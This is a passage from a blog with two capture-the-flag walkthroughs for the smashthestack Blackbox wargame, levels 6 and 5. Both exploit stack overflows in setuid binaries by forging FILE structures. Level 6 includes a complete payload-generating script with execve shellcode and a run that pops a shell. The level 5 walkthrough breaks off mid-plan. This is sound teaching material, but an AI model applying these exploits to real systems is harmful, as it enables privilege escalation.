## Friday, January 27, 2012

###  Blackbox - chapter 6

_As in the previous posts, the password for the next level has been replaced
with question marks so as to not make this too obvious, and so that the point
of the walkthrough, which is mainly educational, will not be missed._  
  

****

Also, make sure you notice this **SPOILER ALERT\!** If you want to try and
solve the level by yourself then read no further\!  
  
Level 6. You should know the drill by now:  

[code]

    $ ssh -p 2225 level6@blackbox.smashthestack.org
    level6@blackbox.smashthestack.org's password:
    ...
    level6@blackbox:~$ ls -l
    total 16
    -rwsr-xr-x 1 level7 level7 7599 2008-01-24 05:09 fsp
    -rw-r--r-- 1 root   level6   13 2007-12-29 14:10 password
    -rw-r--r-- 1 root   root     32 2008-01-24 05:04 temp
[/code]

  
Ah...no source file this time. Well, looks like we will have to make do with
what we have.  
Usually we start of with a disassembly of the .text section, but this time,
I'd like to start off with the .rodata section because we will need it to
better understand the disassembled code:  

[code]

    level6@blackbox:~$ objdump -s --section=.rodata fsp
    
    fsp:     file format elf32-i386
    
    Contents of section .rodata:
     8048610 03000000 01000200 75736167 65203a20  ........usage : 
     8048620 2573203c 61726775 6d656e74 3e0a0061  %s <argument>..a
     8048630 0074656d 70006e6f 20736567 6661756c  .temp.no segfaul
     8048640 74207965 740a00                      t yet..
[/code]

Here, I've even colored the relevant strings. Let's just make a little summary
of addresses and the strings they contain:  

[code]

    8048618: usage : %s <argument>
    804862f: a
    8048631: temp
    8048636: no segfault yet
[/code]

Now we'll disassemble main from the .text section, and I'll go ahead annotate
the places with the above addresses:  

[code]

    level6@blackbox:~$ objdump -d fsp|grep -A49 "<main>:"
    08048444 <main>:
     8048444: 8d 4c 24 04           lea    0x4(%esp),%ecx
     8048448: 83 e4 f0              and    $0xfffffff0,%esp
     804844b: ff 71 fc              pushl  0xfffffffc(%ecx)
     804844e: 55                    push   %ebp
     804844f: 89 e5                 mov    %esp,%ebp
     8048451: 51                    push   %ecx
     8048452: 81 ec 34 04 00 00     sub    $0x434,%esp
     8048458: 89 8d d8 fb ff ff     mov    %ecx,0xfffffbd8(%ebp)
     804845e: a1 36 86 04 08        mov    0x8048636,%eax          ;"no segfault yet"
     8048463: 89 45 e7              mov    %eax,0xffffffe7(%ebp)
     8048466: a1 3a 86 04 08        mov    0x804863a,%eax          ;"egfault yet"
     804846b: 89 45 eb              mov    %eax,0xffffffeb(%ebp)
     804846e: a1 3e 86 04 08        mov    0x804863e,%eax          ;"ult yet"
     8048473: 89 45 ef              mov    %eax,0xffffffef(%ebp)
     8048476: a1 42 86 04 08        mov    0x8048642,%eax          ;"yet"
     804847b: 89 45 f3              mov    %eax,0xfffffff3(%ebp)
     804847e: 0f b6 05 46 86 04 08  movzbl 0x8048646,%eax          ;"\0"
     8048485: 88 45 f7              mov    %al,0xfffffff7(%ebp)
     8048488: 8b 85 d8 fb ff ff     mov    0xfffffbd8(%ebp),%eax
     804848e: 83 38 01              cmpl   $0x1,(%eax)
     8048491: 7f 27                 jg     80484ba <main+0x76>
     8048493: 8b 95 d8 fb ff ff     mov    0xfffffbd8(%ebp),%edx
     8048499: 8b 42 04              mov    0x4(%edx),%eax
     804849c: 8b 00                 mov    (%eax),%eax
     804849e: 89 44 24 04           mov    %eax,0x4(%esp)
     80484a2: c7 04 24 18 86 04 08  movl   $0x8048618,(%esp)       ;"usage : %s <argument>"
     80484a9: e8 9a fe ff ff        call   8048348 <printf@plt>
     80484ae: c7 04 24 ff ff ff ff  movl   $0xffffffff,(%esp)
     80484b5: e8 9e fe ff ff        call   8048358 <exit@plt>
     80484ba: c7 44 24 04 2f 86 04  movl   $0x804862f,0x4(%esp)    ; "a"
     80484c1: 08 
     80484c2: c7 04 24 31 86 04 08  movl   $0x8048631,(%esp)       ; "temp"
     80484c9: e8 9a fe ff ff        call   8048368 <fopen@plt>
     80484ce: 89 45 f8              mov    %eax,0xfffffff8(%ebp)
     80484d1: 8b 95 d8 fb ff ff     mov    0xfffffbd8(%ebp),%edx
     80484d7: 8b 42 04              mov    0x4(%edx),%eax
     80484da: 83 c0 04              add    $0x4,%eax
     80484dd: 8b 00                 mov    (%eax),%eax
     80484df: 89 44 24 04           mov    %eax,0x4(%esp)
     80484e3: 8d 85 e7 fb ff ff     lea    0xfffffbe7(%ebp),%eax
     80484e9: 89 04 24              mov    %eax,(%esp)
     80484ec: e8 97 fe ff ff        call   8048388 <strcpy@plt>
     80484f1: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
     80484f4: 89 44 24 04           mov    %eax,0x4(%esp)
     80484f8: 8d 45 e7              lea    0xffffffe7(%ebp),%eax
     80484fb: 89 04 24              mov    %eax,(%esp)
     80484fe: e8 25 fe ff ff        call   8048328 <fputs@plt>
     8048503: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
     804850a: e8 49 fe ff ff        call   8048358 <exit@plt>
[/code]

Now, one thing that should serve to guide us is that there is no return from
main, only exit calls. This means that overwriting the return address will be
of no use here.  
Bearing that in mind, let's first reconstruct the image of the stack while
trying to understand what the program does:  

[code]

     8048444: 8d 4c 24 04           lea    0x4(%esp),%ecx
[/code]

This means ecx points to the first argument of main, which is argc. A few
lines later we can see:  

[code]

     8048458: 89 8d d8 fb ff ff     mov    %ecx,0xfffffbd8(%ebp)
[/code]

Which means that the address of argc is stored in ebp-0x428.  
We then have:  

[code]

     804848e: 83 38 01              cmpl   $0x1,(%eax)
     8048491: 7f 27                 jg     80484ba <main+0x76>
[/code]

Which is just a check to verify there is at least one argument to the program,
after which there must be a jump to the rest of main, or a usage printout in
case of a mismatch.  
Whatever happens in the main flow of main is pretty straightforward:  

[code]

     80484ba: c7 44 24 04 2f 86 04  movl   $0x804862f,0x4(%esp)    ; "a"
     80484c1: 08 
     80484c2: c7 04 24 31 86 04 08  movl   $0x8048631,(%esp)       ; "temp"
     80484c9: e8 9a fe ff ff        call   8048368 <fopen@plt>
     80484ce: 89 45 f8              mov    %eax,0xfffffff8(%ebp)
[/code]

This opens the file called temp in append mode, and puts the return value
\(which is fp\) in ebp-0x8.  
Next piece of code is:  

[code]

     80484d1: 8b 95 d8 fb ff ff     mov    0xfffffbd8(%ebp),%edx
     80484d7: 8b 42 04              mov    0x4(%edx),%eax
     80484da: 83 c0 04              add    $0x4,%eax
     80484dd: 8b 00                 mov    (%eax),%eax
     80484df: 89 44 24 04           mov    %eax,0x4(%esp)
[/code]

Which loads the address of argc to edx, then loads the value stored 4 bytes
above that address, which is argv, into eax. This makes eax point to
&argv\[0\], adding 4 to eax will make it point to &argv\[1\], and
dereferencing that pointer will make eax itself point to argv\[1\]. That
address is stored in esp+0x4 which makes it a second argument to a function
\(which is about to be called\):  

[code]

     80484e3: 8d 85 e7 fb ff ff     lea    0xfffffbe7(%ebp),%eax
     80484e9: 89 04 24              mov    %eax,(%esp)
     80484ec: e8 97 fe ff ff        call   8048388 <strcpy@plt>
[/code]

This loads the first argument with ebp-0x419, which is just some address
within the stack which we can call buf, and then calls strcpy. Effectively,
argv\[1\] is copied into buf, and might I also add that it does so in an
unsafe fashion.  
What it does next is:  

[code]

     80484f1: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
     80484f4: 89 44 24 04           mov    %eax,0x4(%esp)
     80484f8: 8d 45 e7              lea    0xffffffe7(%ebp),%eax
     80484fb: 89 04 24              mov    %eax,(%esp)
     80484fe: e8 25 fe ff ff        call   8048328 <fputs@plt>
[/code]

That's loading fp as the second argument, and buf as the first argument, and
calling fputs.  
After that, the program just exits with 0:  

[code]

     8048503: c7 04 24 00 00 00 00  movl   $0x0,(%esp)
     804850a: e8 49 fe ff ff        call   8048358 <exit@plt>
[/code]

Just to put it all together, here's a picture of the stack-frame:  

<img src='img/Temp2_1957.png' />

Well, the only thing we can overwrite by exploiting the unsafe strcpy are fp
and the return address, though seeing that main never returns, but rather
exits, we are only left with fp. Let's work with that.  
The only thing for which fp is used, after being returned from fopen, is in
fputs, so let's see what happens there. Since the executable is not statically
compiled, I will use gdb to disassemble fputs \(cropped to the interesting
parts only\):  

[code]

    level6@blackbox:~$ gdb fsp
    ...
    (gdb) break main
    Breakpoint 1 at 0x8048452
    (gdb) run
    Starting program: /home/level6/fsp 
    
    Breakpoint 1, 0x08048452 in main ()
    (gdb) disassemble fputs
    Dump of assembler code for function fputs:
    0x001b24a0 <fputs+0>:   push   %ebp
    0x001b24a1 <fputs+1>:   mov    %esp,%ebp
    0x001b24a3 <fputs+3>:   sub    $0x1c,%esp
    0x001b24a6 <fputs+6>:   mov    %ebx,0xfffffff4(%ebp)
    0x001b24a9 <fputs+9>:   mov    0x8(%ebp),%eax
    0x001b24ac <fputs+12>:  call   0x170d10 <free@plt+112>
    0x001b24b1 <fputs+17>:  add    $0xd7b43,%ebx
    0x001b24b7 <fputs+23>:  mov    %esi,0xfffffff8(%ebp)
    0x001b24ba <fputs+26>:  mov    0xc(%ebp),%esi
    0x001b24bd <fputs+29>:  mov    %edi,0xfffffffc(%ebp)
    0x001b24c0 <fputs+32>:  mov    %eax,(%esp)
    0x001b24c3 <fputs+35>:  call   0x1c7e30 <strlen>
    0x001b24c8 <fputs+40>:  mov    %eax,0xfffffff0(%ebp)
    0x001b24cb <fputs+43>:  mov    (%esi),%eax
    0x001b24cd <fputs+45>:  and    $0x8000,%eax
    0x001b24d2 <fputs+50>:  test   %ax,%ax
    0x001b24d5 <fputs+53>:  jne    0x1b250b <fputs+107>
    ...
    0x001b250b <fputs+107>: cmpb   $0x0,0x46(%esi)
    0x001b250f <fputs+111>: je     0x1b2584 <fputs+228>
    0x001b2511 <fputs+113>: movsbl 0x46(%esi),%eax
    0x001b2515 <fputs+117>: mov    0xfffffff0(%ebp),%edx
    0x001b2518 <fputs+120>: mov    0x94(%esi,%eax,1),%eax
    0x001b251f <fputs+127>: mov    %edx,0x8(%esp)
    0x001b2523 <fputs+131>: mov    0x8(%ebp),%edx
    0x001b2526 <fputs+134>: mov    %esi,(%esp)
    0x001b2529 <fputs+137>: mov    %edx,0x4(%esp)
    0x001b252d <fputs+141>: call   *0x1c(%eax)
    ...
[/code]

Let's see what happens here. First, inside the function, the first parameter,
buf, is at ebp+0x8, and the second, fp, is at ebp+0xc. We don't care about
buf, only fp.  
So the first thing that happens with fp is:  

[code]

    0x001b24ba <fputs+26>:  mov    0xc(%ebp),%esi
[/code]

This just stores fp in esi, so we have to keep our eyes open to esi references
as well. Next:  

[code]

    0x001b24cb <fputs+43>:  mov    (%esi),%eax
    0x001b24cd <fputs+45>:  and    $0x8000,%eax
    0x001b24d2 <fputs+50>:  test   %ax,%ax
    0x001b24d5 <fputs+53>:  jne    0x1b250b <fputs+107>
[/code]

This looks familiar from the previous level. It tests for the first long word
in the FILE structure pointed by fp to have a certain flag set. If it is set,
the program will move in a direction desirable to us:  

[code]

    0x001b250b <fputs+107>: cmpb   $0x0,0x46(%esi)
    0x001b250f <fputs+111>: je     0x1b2584 <fputs+228>
[/code]

This checks that the 0x46th byte into fp is 0x00, and jumps to some location
if it is. We do not want it to jump there, so we will make sure there is
something non-zero at that address.  
The next piece of code is:  

[code]

    **0x001b2511 <fputs+113>: movsbl 0x46(%esi),%eax**
    0x001b2515 <fputs+117>: mov    0xfffffff0(%ebp),%edx
    **0x001b2518 <fputs+120>: mov    0x94(%esi,%eax,1),%eax**
[/code]

What happens here is that the byte at fp+0x46 is copied into eax with size and
sign extend \(which means that the rest of eax will be zeroed out\). And then
that value is used as an index in some list that starts at fp+0x94. The value
at that list index is copied to eax.  
Let's see what happens next:  

[code]

    0x001b251f <fputs+127>: mov    %edx,0x8(%esp)
    0x001b2523 <fputs+131>: mov    0x8(%ebp),%edx
    0x001b2526 <fputs+134>: mov    %esi,(%esp)
    0x001b2529 <fputs+137>: mov    %edx,0x4(%esp)
    **0x001b252d <fputs+141>: call   *0x1c(%eax)**
[/code]

This piece of code sets two function arguments, but we don't care about them,
because what it does next is call the function whose address is stored at
eax+0x1c.  
  
It should be clear by this time what we need to do:  

  1. Whatever we have in the first argument to the program will be copied into buf.
  2. The beginning of the payload should start with 0x80808080 to make sure we pass the flag check.
  3. The 0x46th byte needs to be something different from 0x00, let's just choose it to be 0x01.
  4. The long word at 0x94+0x01=0x95 should contain a pointer. Let's make it point to 0x95+4=0x99 \(just one slot after the current one\).
  5. At 0x99+0x1c=0xb5 we should have another pointer to 0xb5+4=0xb9.
  6. Then we insert the shellcode.
  7. Then there should be some filler which will complete the payload to 0x411 bytes.
  8. The last 4 bytes will overwrite fp and so they should be the address of the bottom of buf.

Or, better put in a diagram:  

<img src='img/Temp2_1958.png' />

All that's left now is to discover ebp so we can fill that structure up.
Remember that the payload is 0x411+4=0x415 bytes long:  

[code]

    level6@blackbox:~$ gdb fsp
    ...
    
    (gdb) break main
    Breakpoint 1 at 0x8048452
    (gdb) run `python -c "print 'a'*0x415"`
    Starting program: /home/level6/fsp `python -c "print 'a'*0x415"`
    
    Breakpoint 1, 0x08048452 in main ()
    (gdb) p $ebp
    $1 = (void *) 0xbfffd678
[/code]

And write some script to generate the payload:  

[code]

    level6@blackbox:/tmp$ cd /tmp
    level6@blackbox:/tmp$ cat > genpayload.py
    import struct
    EBP = 0xbfffd678
    BUF = EBP - 0x419
    PTR1 = BUF + 0x99
    PTR2 = BUF + 0xb9
    SHELLCODE = "31c050682f2f7368682f62696e89e3505389e131d2b00bcd80".decode("hex")
    
    FILE = ""
    FILE += struct.pack("<L", 0x80808080)
    FILE += '\x90' * (0x46 - 4)
    FILE += "\x01"
    FILE += '\x90' * (0x95 - 0x47)
    FILE += struct.pack("<L", PTR1)
    FILE += '\x90' * (0xb5 - 0x99)
    FILE += struct.pack("<L", PTR2)
    FILE += SHELLCODE
    FILE += '\x90' * (0x419 - 8 - len(FILE))
    FILE += struct.pack("<L", BUF)
    
    print FILE
[/code]

Let's give it a shot:  

[code]

    level6@blackbox:~$ ~/fsp `python /tmp/genpayload.py`
    sh-3.1$ cat /home/level7/password
    cat: /home/level7/password: No such file or directory
    sh-3.1$ cat /home/level7/passwd
    ??????????
[/code]

Done\!

Posted by  danzat  at 11:30 AM 0 comments

Email ThisBlogThis\!Share to TwitterShare to Facebook

Labels: blackbox, hacking

## Wednesday, January 25, 2012

###  Blackbox - chapter 5

  
_As in the previous posts, the password for the next level has been replaced
with question marks so as to not make this too obvious, and so that the point
of the walkthrough, which is mainly educational, will not be missed._  

**  
**

Also, make sure you notice this**SPOILER ALERT\!** If you want to try and
solve the level by yourself then read no further\!  
  
Hello again. Make sure you are comfortable, because this is going to be a
somewhat long level, and rather more difficult that what we saw so far.  
First order of business, login & ls:  

[code]

    $ ssh -p 2225 level5@blackbox.smashthestack.org
    level5@blackbox.smashthestack.org's password:
    ...
    level5@blackbox:~$ ls -l
    total 560
    -rwsr-xr-x 1 level6 level6 557846 2008-01-12 21:17 list
    -rw-r--r-- 1 root   level5    475 2007-12-29 14:10 list.c
    -rw-r--r-- 1 root   level5     10 2007-12-29 14:10 password
[/code]

  
And now we take a look at the source file:  

[code]

    level5@blackbox:~$ cat list.c 
    #include <stdio.h>
    
    
    int main(int argc, char **argv)
    {
        char buf[100];
        size_t len;
        char fixedbuf[10240];
        FILE *fh;
        char *ptr = fixedbuf;
        int i;
    
        fh = fopen("somefile", "r");
        if(!fh)
            return 0;
    
        while((len = fread(buf, 1, 100, fh)) > 0) {
            for(i = 0; i < len; i++) {
                // Disable output modifiers
                switch(buf[i]) {
                case 0xFF:
                case 0x00:
                case 0x01:
                    break;
                default:
                    *ptr = buf[i];
                    ptr++;
                }
            }
        }
        printf("%s", fixedbuf);
    
        fclose(fh);
    }
[/code]

The program seems to open some fixed file from the current path \(which means
that we will have to generate that somefile" file under /tmp\), it then
proceeds to read chunks of 100bytes from the file into some temporary buffer,
which are copied to a bigger buffer while filtering-out specific byte values.  
The contents of the big buffer are then printed out to us.  
  
Well, our attack surface is obviously the file filename. We can also notice
that if filename is indeed longer than 10240 bytes, the read-chunk-and-copy
loop will happily continue its business, whereby it will probably mess up the
stack.  
So lets try and see what the stack frame looks like. And the way to do that is
to look at the diassembly of main:  

[code]

    level5@blackbox:~$ objdump -d list|grep -A65 "<main>:"
    08048208 <main>:
     8048208: 8d 4c 24 04           lea    0x4(%esp),%ecx
     804820c: 83 e4 f0              and    $0xfffffff0,%esp
     804820f: ff 71 fc              pushl  0xfffffffc(%ecx)
     8048212: 55                    push   %ebp
     8048213: 89 e5                 mov    %esp,%ebp
     8048215: 51                    push   %ecx
     8048216: 81 ec 94 28 00 00     sub    $0x2894,%esp
     804821c: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
     8048222: 89 45 f4              mov    %eax,0xfffffff4(%ebp)
     8048225: c7 44 24 04 88 32 0a  movl   $0x80a3288,0x4(%esp)
     804822c: 08 
     804822d: c7 04 24 8a 32 0a 08  movl   $0x80a328a,(%esp)
     8048234: e8 57 af 00 00        call   8053190 <_IO_new_fopen>
     8048239: 89 45 f0              mov    %eax,0xfffffff0(%ebp)
     804823c: 83 7d f0 00           cmpl   $0x0,0xfffffff0(%ebp)
     8048240: 75 43                 jne    8048285 <main+0x7d>
     8048242: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
     8048249: 00 00 00 
     804824c: e9 8f 00 00 00        jmp    80482e0 <main+0xd8>
     8048251: c7 45 f8 00 00 00 00  movl   $0x0,0xfffffff8(%ebp)
     8048258: eb 23                 jmp    804827d <main+0x75>
     804825a: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
     804825d: 0f b6 44 05 88        movzbl 0xffffff88(%ebp,%eax,1),%eax
     8048262: fe c0                 inc    %al
     8048264: 3c 02                 cmp    $0x2,%al
     8048266: 77 02                 ja     804826a <main+0x62>
     8048268: eb 10                 jmp    804827a <main+0x72>
     804826a: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
     804826d: 0f b6 54 05 88        movzbl 0xffffff88(%ebp,%eax,1),%edx
     8048272: 8b 45 f4              mov    0xfffffff4(%ebp),%eax
     8048275: 88 10                 mov    %dl,(%eax)
     8048277: ff 45 f4              incl   0xfffffff4(%ebp)
     804827a: ff 45 f8              incl   0xfffffff8(%ebp)
     804827d: 8b 45 f8              mov    0xfffffff8(%ebp),%eax
     8048280: 3b 45 ec              cmp    0xffffffec(%ebp),%eax
     8048283: 72 d5                 jb     804825a <main+0x52>
     8048285: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
     8048288: 89 44 24 0c           mov    %eax,0xc(%esp)
     804828c: c7 44 24 08 64 00 00  movl   $0x64,0x8(%esp)
     8048293: 00 
     8048294: c7 44 24 04 01 00 00  movl   $0x1,0x4(%esp)
     804829b: 00 
     804829c: 8d 45 88              lea    0xffffff88(%ebp),%eax
     804829f: 89 04 24              mov    %eax,(%esp)
     80482a2: e8 09 b0 00 00        call   80532b0 <_IO_fread>
     80482a7: 89 45 ec              mov    %eax,0xffffffec(%ebp)
     80482aa: 83 7d ec 00           cmpl   $0x0,0xffffffec(%ebp)
     80482ae: 0f 95 c0              setne  %al
     80482b1: 84 c0                 test   %al,%al
     80482b3: 75 9c                 jne    8048251 <main+0x49>
     80482b5: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
     80482bb: 89 44 24 04           mov    %eax,0x4(%esp)
     80482bf: c7 04 24 93 32 0a 08  movl   $0x80a3293,(%esp)
     80482c6: e8 e5 ab 00 00        call   8052eb0 <_IO_printf>
     80482cb: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
     80482ce: 89 04 24              mov    %eax,(%esp)
     80482d1: e8 0a ac 00 00        call   8052ee0 <_IO_new_fclose>
     80482d6: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
     80482dd: 00 00 00 
     80482e0: 8b 85 78 d7 ff ff     mov    0xffffd778(%ebp),%eax
     80482e6: 81 c4 94 28 00 00     add    $0x2894,%esp
     80482ec: 59                    pop    %ecx
     80482ed: 5d                    pop    %ebp
     80482ee: 8d 61 fc              lea    0xfffffffc(%ecx),%esp
     80482f1: c3                    ret
[/code]

Wow, good thing the executable has symbol information, because the way to
identify the position of the local variables in the stack is by tracking
library function calls.  
  
Lets start with these two lines though:  

[code]

     804821c: 8d 85 88 d7 ff ff     lea    0xffffd788(%ebp),%eax
     8048222: 89 45 f4              mov    %eax,0xfffffff4(%ebp)
[/code]

This looks like an address assignment, we have such a line in the C program:  

[code]

        char *ptr = fixedbuf;
[/code]

This means that fixedbuf starts at ebp-0x2878, and ptr is stored at ebp-0xc.  
  
Next we have a call to \_IO\_new\_fopen:  

[code]

     8048225: c7 44 24 04 88 32 0a  movl   $0x80a3288,0x4(%esp)
     804822c: 08 
     804822d: c7 04 24 8a 32 0a 08  movl   $0x80a328a,(%esp)
     8048234: e8 57 af 00 00        call   8053190 <_IO_new_fopen>
     8048239: 89 45 f0              mov    %eax,0xfffffff0(%ebp)
[/code]

And the output, which is a file pointer, is stored at ebp-0x10, which must be
our fp.  
  
Now let's look at the call to \_IO\_fread:  

[code]

     8048285: 8b 45 f0              mov    0xfffffff0(%ebp),%eax
     8048288: 89 44 24 0c           mov    %eax,0xc(%esp)
     804828c: c7 44 24 08 64 00 00  movl   $0x64,0x8(%esp)
     8048293: 00 
     8048294: c7 44 24 04 01 00 00  movl   $0x1,0x4(%esp)
     804829b: 00 
     804829c: 8d 45 88              lea    0xffffff88(%ebp),%eax
     804829f: 89 04 24              mov    %eax,(%esp)
     80482a2: e8 09 b0 00 00        call   80532b0 <_IO_fread>
     80482a7: 89 45 ec              mov    %eax,0xffffffec(%ebp)
[/code]

The first parameter is at the bottom of the stack \(at esp\), this should be
the address of buf, and we can see it is ebp-0x78.  
The rest of the parameters are already known to us so I won't stall on them.  
What's left in this function call is the return value, which is stored at
ebp-0x14 and is our len.  
  
The last local variable is i, we can recognize it as the address that gets
loaded with a 0, as we can see in the for loop initialization.  
There are actually two such instances. This is the first one:  

[code]

     8048242: c7 85 78 d7 ff ff 00  movl   $0x0,0xffffd778(%ebp)
[/code]

Which is the return value of main, as we can see eax is reloaded from that
address right before exiting main:  

[code]

     **80482e0: 8b 85 78 d7 ff ff     mov    0xffffd778(%ebp),%eax**
     80482e6: 81 c4 94 28 00 00     add    $0x2894,%esp
     80482ec: 59                    pop    %ecx
     80482ed: 5d                    pop    %ebp
     80482ee: 8d 61 fc              lea    0xfffffffc(%ecx),%esp
     80482f1: c3                    ret
[/code]

The second one is the one that interests us:  

[code]

     8048251: c7 45 f8 00 00 00 00  movl   $0x0,0xfffffff8(%ebp)
[/code]

Which means i is stored at ebp-0x8.  
  
Let's summarize it all up in one diagram:  
<img src='img/Temp2_1955.png' />  
---  
Stack frame of main  
Imagine now the following scenario: We have a very big file, and the read-
chunk-and-copy loop keeps copying the data from buf into fixedbuf. After 102
of these cycles, ptr is pointing to fixedbuf+10200, or, buf-40. After the next
cycle, ptr will point to buf+60. This means, that on the next read \(104'th if
my tally has been kept correctly\) ptr will end up pointing beyond the stack
frame.  
Not entirely though. The thing is, that the copying is not done in one atomic
operation, rather, buf is copied to ptr byte-by-byte, which means that 40
bytes into the 104'th cycle, the value of len will change. This affects the
flow control of the for-loop, because if we make len smaller than i is in that
round, the loop will stop.  
Since x86 is a little-endian machine, the first byte of len that will be
overwritten is the LSB, so we need to overwrite it so that the loop continues,
anything larger than 101 will do.  
Now, remember that not all byte values are allowed, and if we want to reach
interesting places in the stack, we are forced to write the rest of len. This
means that the smallest value we can write is 0x02, and this will make len
look something like 0x020202?? when we are done with it.  
Next we override fp, again, we can't help but to overwrite it.Let's leave the
discussion about it for later though.  
After that comes ptr, and this is where it gets tricky, we are overwriting the
pointer, using itself as a pointer to its individual bytes. whichever way it
goes, once we overwrite the LSB, the pointer will not point to itself anymore,
so we need to decide were we want it to point. Well, how about skipping over
the rest of ptr, and continue at the MSB of i.  
Why would we want to do that? well, remember we put something like 0x020202??
in len? then if we set the MSB of i to 0x03, then i will look like 0x03??????
which is bigger than len\! so after that the loop will stop.  
Why do we want it to stop now? Well, you see, when the loop on i stops, there
will be another call to fread, only now, fp is different.  
What would happen? Well, let's take a look at that \_IO\_fread \(cropped in
favor of readability\):  

[code]

    080532b0 <_IO_fread>:
     80532b0: 55                    push   %ebp
     80532b1: 89 e5                 mov    %esp,%ebp
     80532b3: 83 ec 2c              sub    $0x2c,%esp
     80532b6: 89 75 f8              mov    %esi,0xfffffff8(%ebp)
     80532b9: 8b 75 0c              mov    0xc(%ebp),%esi
     80532bc: 89 7d fc              mov    %edi,0xfffffffc(%ebp)
     80532bf: 8b 7d 10              mov    0x10(%ebp),%edi
     80532c2: 89 5d f4              mov    %ebx,0xfffffff4(%ebp)
     80532c5: 0f af f7              imul   %edi,%esi
     80532c8: 85 f6                 test   %esi,%esi
     80532ca: 0f 84 a4 00 00 00     je     8053374 <_IO_fread+0xc4>
     80532d0: 8b 55 14              mov    0x14(%ebp),%edx
     80532d3: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
     80532da: 8b 02                 mov    (%edx),%eax
     80532dc: 25 00 80 00 00        and    $0x8000,%eax
     80532e1: 66 85 c0              test   %ax,%ax
     80532e4: 75 1f                 jne    8053305 <_IO_fread+0x55>
     80532e6: b8 00 00 00 00        mov    $0x0,%eax
     80532eb: 85 c0                 test   %eax,%eax
     80532ed: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
     80532f4: 0f 85 7e 00 00 00     jne    8053378 <_IO_fread+0xc8>
     80532fa: 8b 45 14              mov    0x14(%ebp),%eax
     80532fd: 89 04 24              mov    %eax,(%esp)
     8053300: e8 bb 40 02 00        call   80773c0 <_IO_flockfile>
     8053305: 8b 55 14              mov    0x14(%ebp),%edx
     8053308: 8b 45 08              mov    0x8(%ebp),%eax
     805330b: 89 74 24 08           mov    %esi,0x8(%esp)
     805330f: 89 14 24              mov    %edx,(%esp)
     8053312: 89 44 24 04           mov    %eax,0x4(%esp)
     8053316: e8 b5 38 00 00        call   8056bd0 <_IO_sgetn>
     805331b: 8b 55 14              mov    0x14(%ebp),%edx
     805331e: 89 c3                 mov    %eax,%ebx
     8053320: 8b 02                 mov    (%edx),%eax
     8053322: 25 00 80 00 00        and    $0x8000,%eax
     8053327: 66 85 c0              test   %ax,%ax
     805332a: 74 37                 je     8053363 <_IO_fread+0xb3>
    ...
[/code]

First, let's remember what are the parameters to \_IO\_fread, in what order
are they in the stack, and where can we see them in the disassembly.  
Well, the parameters were \(at the bottom\) buf, then the chunk length \(1\),
then the number of chunks \(100\) and finally fp.  
This means that inside \_IO\_fread, we can find fp at ebp+0x14. Let's see what
does the function do with it:  

[code]

    **80532d0: 8b 55 14              mov    0x14(%ebp),%edx**
     80532d3: c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)
    **80532da: 8b 02                 mov    (%edx),%eax
     80532dc: 25 00 80 00 00        and    $0x8000,%eax
     80532e1: 66 85 c0              test   %ax,%ax
     80532e4: 75 1f                 jne    8053305 <_IO_fread+0x55>**
[/code]

The long-word to which fp points is copied into eax, after which it is masked
with 0x8000, and if that bit is set, it jumps to 0x08053305:  

[code]

    **8053305: 8b 55 14              mov    0x14(%ebp),%edx**
     8053308: 8b 45 08              mov    0x8(%ebp),%eax
     805330b: 89 74 24 08           mov    %esi,0x8(%esp)
    **805330f: 89 14 24              mov    %edx,(%esp)**
     8053312: 89 44 24 04           mov    %eax,0x4(%esp)
    **8053316: e8 b5 38 00 00        call   8056bd0 <_IO_sgetn>**
[/code]

This is a call to \_IO\_sgetn with fp as the first parameter.  
Fine, let's see what \_IO\_sgetn does:  

[code]

    08056bd0 <_IO_sgetn>:
     8056bd0: 55                    push   %ebp
     8056bd1: 89 e5                 mov    %esp,%ebp
    **8056bd3: 8b 55 08              mov    0x8(%ebp),%edx**
     8056bd6: 5d                    pop    %ebp
    **8056bd7: 8b 8a 94 00 00 00     mov    0x94(%edx),%ecx
     8056bdd: 8b 49 20              mov    0x20(%ecx),%ecx
     8056be0: ff e1                 jmp    *%ecx**
     8056be2: 8d b4 26 00 00 00 00  lea    0x0(%esi),%esi
     8056be9: 8d bc 27 00 00 00 00  lea    0x0(%edi),%edi
[/code]

In the context of \_IO\_sgetn, fp is located at ebp+0x8.  
Well, there's some pointer magic is happening here, after which there a jump
to a location stored in ecx.  
let's try to write it a more readable C notation:  

[code]

    edx = fp;
    ecx = *(unsigned long *)(edx + 0x94);
    ecx = *(unsigned long *)(ecx + 0x20);
[/code]

It looks like fp actually points to some structure, which contains pointers to
other structures, which contain an address of a handler.  
Well, if we can make the program jump to **our** handler, we can make it
execute a shell.  
  
OK then, let's look back and review what we know, and decide on a strategy.  
Well, first, we have found a way to override fp, and then stop the loop and
make fread run again.  
Then we saw that in fread, some address is extracted from fp, and then the
program jumps to that address.  
I propose then the following strategy:  

  1. We override fp with the address of the bottom of fixedbuf.
  2. We prepare the first long word at the bottom of fixedbuf to be something like 0x????80??, so as to steer the execution path in our direction.
  3. 0x94 bytes after the beginning of fixedbuf, we prepare a pointer to another place in fixedbuf. let's call it ptr1.
  4. 0x20 bytes after ptr1, we will prepare another address which will be the address of our shellcode.

It should be much easier to understand this in a diagram:  

<img src='img/Temp2_1954.png' width='250' height='320' />

This is the structure we need to have in the beginning of our file.  
Assuming we know ebp, the end of the file \(meaning, starting from the point
in which we overwrite len\) should look like this:  

  1. First 0x70, just to make sure we keep the for-loop alive.
  2. Then 0x020202 because we have to
  3. Then we overwrite fp with fixedbuf=ebp-0x2878
  4. Then we overwrite the LSB of ptr with the address of the second to MSB of i. That is because after we overwrite the LSB of ptr, it will get incremented in the next line of code, this would make ptr point to the LSB of i.
  5. And then we overwrite the MSB of i with 0x03 which will cause the loop to stop, and let the bottom of the file do its magic.

Between the beginning and the end, we need to fill the space with something.  
  
